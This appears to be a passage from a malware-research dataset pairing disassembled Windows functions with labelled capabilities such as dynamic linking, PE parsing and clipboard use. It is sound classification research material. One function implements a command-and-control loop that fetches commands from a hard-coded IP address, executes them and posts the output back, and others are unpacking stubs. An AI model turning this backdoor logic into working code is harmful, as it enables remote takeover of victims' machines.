joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10339d4
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov ebx, r8d
mov r12, rdx
mov r13, rcx
call fcn.0102d67c
xor ebp, ebp
and dword [rsp + 0x88], ebp
and dword [rsp + 0x30], ebp
mov rdi, rax
cmp qword [0x010469e0], rbp
jne 0x1033b0c
lea rcx, [0x01003e18]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
test rax, rax
jne 0x1033a38
xor eax, eax
jmp 0x1033bec
lea rdx, [0x01003e08]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1033a31
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x01003df8]
mov rcx, rsi
mov qword [0x010469e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x01003de0]
mov rcx, rsi
mov qword [0x010469e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rcx, [rsp + 0x88]
mov qword [0x010469f0], rax
call fcn.0102c690
test eax, eax
je 0x1033abf
and qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.0102e1d8
cmp dword [rsp + 0x88], 2
jne 0x1033b0c
lea rdx, [0x01003dc0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x01046a00], rax
test rax, rax
je 0x1033b0c
lea rdx, [0x01003da8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x010469f8], rax
mov rcx, qword [0x010469f8]
cmp rcx, rdi
je 0x1033b9e
cmp qword [0x01046a00], rdi
je 0x1033b9e
call sub.KERNEL32.dll_DecodePointer
call rax
mov rsi, rax
test rax, rax
je 0x1033b69
mov rcx, qword [0x01046a00]
call sub.KERNEL32.dll_DecodePointer
lea rcx, [rsp + 0x34]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x38]
mov rcx, rsi
call rax
test eax, eax
je 0x1033b69
test byte [rsp + 0x40], 1
jne 0x1033b9e
lea rcx, [rsp + 0x30]
call fcn.0102c6dc
test eax, eax
je 0x1033b8b
and qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.0102e1d8
cmp dword [rsp + 0x30], 4
jb 0x1033b98
bts ebx, 0x15
jmp 0x1033bd2
bts ebx, 0x12
jmp 0x1033bd2
mov rcx, qword [0x010469e8]
cmp rcx, rdi
je 0x1033bd2
call sub.KERNEL32.dll_DecodePointer
call rax
mov rbp, rax
test rax, rax
je 0x1033bd2
mov rcx, qword [0x010469f0]
cmp rcx, rdi
je 0x1033bd2
call sub.KERNEL32.dll_DecodePointer
mov rcx, rbp
call rax
mov rbp, rax
mov rcx, qword [0x010469e0]
call sub.KERNEL32.dll_DecodePointer
mov r9d, ebx
mov r8, r12
mov rdx, r13
mov rcx, rbp
call rax
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x1034ed4
Capabilities:
Get system information on windows

Disassembly:
push rbp
push r12
push r13
sub rsp, 0x90
lea rbp, [rsp + 0x20]
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rdi
mov rax, qword [0x01044480]
xor rax, rbp
mov qword [rbp + 0x68], rax
mov eax, dword [rsp]
sub rsp, 0x10
lea r12, [rsp + 0x20]
mov eax, dword [r12]
lea rdx, [rbp + 8]
mov r8d, 0x30
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1034fda
mov r13, qword [rbp + 0x10]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rbp + 0x3c]
lea rcx, [rbp]
xor ebx, ebx
and dword [rbp], ebx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
cmp eax, 1
jne 0x1034f62
mov eax, dword [rbp]
test eax, eax
cmovne ebx, eax
lea edx, [rdi - 1]
lea ecx, [rdx + rbx]
cmp ecx, ebx
jb 0x1034fda
mov eax, edx
not eax
and ecx, eax
je 0x1034f7d
lea eax, [rcx + rdi]
cmp eax, ecx
jb 0x1034fda
mov ecx, eax
lea eax, [rdi + rdi*2]
mov ebx, edx
cmp ecx, eax
not rbx
cmovb ecx, eax
and rbx, r12
lea rax, [r13 + rdi]
mov esi, ecx
sub rbx, rsi
cmp rbx, rax
jb 0x1034fda
mov r9d, 4
mov r8d, 0x1000
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1034fda
lea r9, [rbp + 4]
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1034fda
mov eax, 1
jmp 0x1034fdc
xor eax, eax
mov rcx, qword [rbp + 0x68]
xor rcx, rbp
call fcn.01028cb0
mov rbx, qword [rbp + 0x90]
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0xa0]
lea rsp, [rbp + 0x70]
pop r13
pop r12
pop rbp
ret
Function at 0x1404a68f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1404a68fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1404a690d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1404a68f5
lea eax, [rcx + 1]
jmp 0x1404a691b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1404a692e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1404a6914
sub eax, 3
jb 0x1404a694e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1404a699d
sar eax, 1
movsxd rbp, eax
jb 0x1404a6984
jmp 0x1404a695c
add ebx, ebx
jne 0x1404a695a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1404a6984
inc ecx
add ebx, ebx
jne 0x1404a696a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1404a6984
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1404a697d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1404a696c
add ecx, 2
jmp 0x1404a6989
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1404a68b2
jmp 0x1404a68fd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x203400
mov dl, 0x34
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1404a69ed
cmp rsi, rcx
jae 0x1404a69f5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1404a69d4
cmp al, 0x8f
ja 0x1404a69d4
cmp byte [rsi - 2], 0xf
je 0x1404a69da
sub al, 0xe8
cmp al, 1
ja 0x1404a69be
cmp rsi, rcx
jae 0x1404a69f5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1404a69c4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1404a69f5
lodsb al, byte [rsi]
jmp 0x1404a69d4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x482000]
mov eax, dword [rdi]
or eax, eax
je 0x1404a6a5e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x4b4358]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1404a6a02
jns 0x1404a6a37
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1404a6a41
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1404a6a58
mov qword [rbx], rax
add rbx, 8
jmp 0x1404a6a22
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1404a6aa2
cmp al, 0xef
ja 0x1404a6a8a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1404a6a6a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1404a6a79
mov eax, dword [rdi]
add rdi, 4
jmp 0x1404a6a79
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1404a6af6
sub rsp, 0xffffffffffffff80
jmp 0x1401e0134
Function at 0x140002188
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400021d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400021d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400021d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400021d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400021d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400021d4
xor al, al
add rsp, 0x28
ret
Function at 0x1400011e0
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x488
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x140038078]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x140023428]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x498]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x38], rax
lea rdx, [0x140023422]
lea rcx, [rsp + 0x50]
call fcn.140002140
nop
cmp qword [rsp + 0x38], 0
je 0x1400012c0
lea r9, [rsp + 0x30]
mov r8d, 0x400
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400012c0
cmp dword [rsp + 0x30], 0
je 0x1400012c0
mov eax, dword [rsp + 0x30]
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140003690
jmp 0x140001282
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x490]
call fcn.140002060
mov eax, dword [rsp + 0x34]
or eax, 1
mov dword [rsp + 0x34], eax
lea rcx, [rsp + 0x50]
call fcn.140002890
mov rax, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1400077b0
add rsp, 0x488
ret
Function at 0x140001330
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x50
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140001460
lea rax, str.Content_Type:_application_x_www_form_urlencoded
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x80]
lea rdx, str.POST
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140001455
mov rcx, qword [rsp + 0x88]
call fcn.14000b8c0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x50]
call fcn.14000b8c0
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], ecx
mov r9, qword [rsp + 0x88]
mov r8d, eax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
add rsp, 0x78
ret
Function at 0x140001480
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
sub rsp, 0x268
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov rax, qword [0x140038078]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rdx, [rsp + 0xb0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x30], rax
mov eax, 2
mov word [rsp + 0x60], ax
mov cx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
lea rcx, str._C2_SERVER_
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x64], eax
xor eax, eax
cmp eax, 1
je 0x1400015a9
lea rdx, str.http:__125.234.108.27_getCommand
lea rcx, [rsp + 0x70]
call fcn.1400011e0
nop
lea rcx, [rsp + 0x70]
call fcn.140003ad0
movzx eax, al
test eax, eax
jne 0x14000158e
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x20]
call fcn.1400020e0
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.140001110
lea rdx, str.Command_output_goes_here
lea rcx, [rsp + 0x90]
call fcn.140002140
nop
lea rcx, [rsp + 0x90]
call fcn.1400038c0
mov rdx, rax
lea rcx, str.http:__125.234.108.27_sendOutput
call fcn.140001330
nop
lea rcx, [rsp + 0x90]
call fcn.140002890
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x70]
call fcn.140002890
jmp 0x1400014f9
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400077b0
add rsp, 0x268
ret

Function at 0x140011f20
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140011d4c
Function at 0x14000234c
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
lea rcx, [rsp + 0x58]
call fcn.140001a44
lea rcx, [rsp + 0x58]
call fcn.140002b90
mov rbx, qword [rsp + 0x58]
cmp dword [rbx - 0x10], 0
jne 0x1400023c4
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140001704
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140002ed4
mov rdx, qword [rsp + 0x20]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400023b5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rcx, [rsp + 0x58]
call fcn.1400041b0
mov rbx, qword [rsp + 0x58]
and dword [rsp + 0x50], 0
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
test rax, rax
jne 0x1400023e8
call fcn.140003c1c
mov edi, eax
jmp 0x140002402
mov edx, dword [rsp + 0x50]
mov r8, rsi
mov rcx, rdi
call fcn.140002430
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000241c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140003d28
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.14000144c
xor esi, esi
mov rcx, rax
test rax, rax
je 0x140003dfe
mov rax, qword [rax]
call qword [rax + 0x18]
xor r8d, r8d
lea rcx, str.SystemDrive
add rax, 0x18
xor edx, edx
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
test eax, eax
je 0x140003ddb
test eax, eax
js 0x140003df3
mov rax, qword [rbx]
lea r8d, [rsi + 1]
mov edx, dword [rax - 0xc]
sub r8d, dword [rax - 8]
sub edx, edi
or r8d, edx
jge 0x140003d98
mov edx, edi
mov rcx, rbx
call fcn.140001d9c
mov rax, qword [rbx]
mov r8d, edi
lea rcx, str.SystemDrive
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140003db7
mov eax, esi
jmp 0x140003dc4
movsxd rdx, dword [rcx - 0xc]
call fcn.140009920
test eax, eax
js 0x140003df3
mov rcx, qword [rbx]
cmp eax, dword [rcx - 0xc]
jg 0x140003df3
mov dword [rcx - 0x10], eax
movsxd rcx, eax
mov rax, qword [rbx]
mov word [rax + rcx*2], si
jmp 0x140003de0
call fcn.140003c1c
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov ecx, 0x80070057
call fcn.140001200
int3
mov ecx, 0x80004005
call fcn.140001200
int3
Function at 0x140004b08
Capabilities:
Open clipboard
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x870
mov rax, qword [0x140027038]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov esi, r9d
mov edi, ecx
cmp ecx, 0x80000003
jne 0x140004b60
xor eax, eax
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.1400055f0
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x802
call fcn.140006ad0
mov rbx, qword [0x1400298b0]
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.1400017f8
mov r9, qword [rsp + 0x40]
lea rax, str.baselogging.cc
mov dword [rsp + 0x38], esi
lea rdx, str.Exception__x_in__s__s__u_r_n_r_n_hs:_d_r_n
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x50]
and dword [rsp + 0x28], 0
mov r8d, edi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.USER32.dll_wsprintfW]
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004bd8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140004bfd
mov edx, ebx
lea rcx, [rsp + 0x50]
call fcn.140004c38
mov r9d, 0x250012
lea r8, str.Exception
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 3
je 0x140004c2c
cmp eax, 1
jne 0x140004c22
int3
mov eax, 1
jmp 0x140004b3b
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140004c38
Capabilities:
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
mov rsi, rcx
call qword [sym.imp.USER32.dll_EmptyClipboard]
lea eax, [rbx + 1]
mov ecx, 0x2002
movsxd rdi, eax
add rdi, rdi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140004c88
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.1400066c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetClipboardData]
test rax, rax
jne 0x140004cad
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x140004e74
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.SetDefaultDllDirectories
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004ea7
mov ecx, 0x800
call rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x30]
mov rbx, rax
call fcn.1400021b0
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14000234c
mov ebx, eax
test eax, eax
js 0x140004f66
lea rdx, str.user
lea rcx, [rsp + 0x20]
call fcn.140001a44
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140002828
mov rdx, qword [rsp + 0x20]
test al, al
sete dil
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004f16
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rdx, str.unregister
lea rcx, [rsp + 0x28]
call fcn.140001a44
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x30]
call fcn.140002828
mov rdx, qword [rsp + 0x28]
test al, al
sete bl
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004f5a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov dl, bl
mov cl, dil
call fcn.140004db0
mov ebx, eax
lea rcx, [rsp + 0x30]
call fcn.1400022c8
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1808f5108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1808f528f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1808f5139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808f511f
add dl, dl
jne 0x1808f5146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808f51a6
xor eax, eax
add dl, dl
jne 0x1808f5155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808f525d
add dl, dl
jne 0x1808f5166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808f5173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808f5180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808f518d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808f519a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1808f512e
mov eax, 1
add dl, dl
jne 0x1808f51b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808f51c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808f51ab
sub eax, ebx
mov ebx, 1
jne 0x1808f51fc
mov ecx, 1
add dl, dl
jne 0x1808f51de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808f51eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808f51d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808f512e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1808f5218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808f5225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808f520d
cmp eax, 0x7d00
jae 0x1808f524b
cmp eax, 0x500
jb 0x1808f5246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808f512e
cmp eax, 0x7f
ja 0x1808f524e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1808f512e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808f5282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1808f512e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001008
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call fcn.14000ea8c
test rax, rax
je 0x140001065
lea rcx, str.Windows_original_main_args:_n
call fcn.14000114c
xor ebx, ebx
call fcn.14000e898
cmp dword [rax], ebx
jle 0x140001065
xor edi, edi
call fcn.14000e8a0
mov edx, ebx
lea rcx, str.wwwd_args__d____s_n
mov r8, qword [rax]
mov r8, qword [rdi + r8]
call fcn.14000114c
inc ebx
lea rdi, [rdi + 8]
call fcn.14000e898
cmp ebx, dword [rax]
jl 0x14000103c
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call fcn.1400012f4
call fcn.140001398
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call fcn.1400011a8
mov rbx, rax
call fcn.1400013a0
xor r9d, r9d
test edi, edi
jle 0x1400010b1
xor edx, edx
mov r9d, edi
mov rcx, qword [rax]
lea rax, [rax + 0x10]
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109e
mov rdx, qword [0x140038008]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rdx, rdx
jne 0x1400010c8
mov rdx, qword [rbx]
mov rcx, qword [section..data]
test rcx, rcx
jne 0x1400010d7
mov rcx, qword [rbx]
mov r9, qword [0x140038b50]
mov r8d, 1
test r9, r9
setne al
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 1
mov byte [rsp + 0x50], al
lea rax, [0x140028474]
mov qword [rsp + 0x48], rdx
mov rdx, rbx
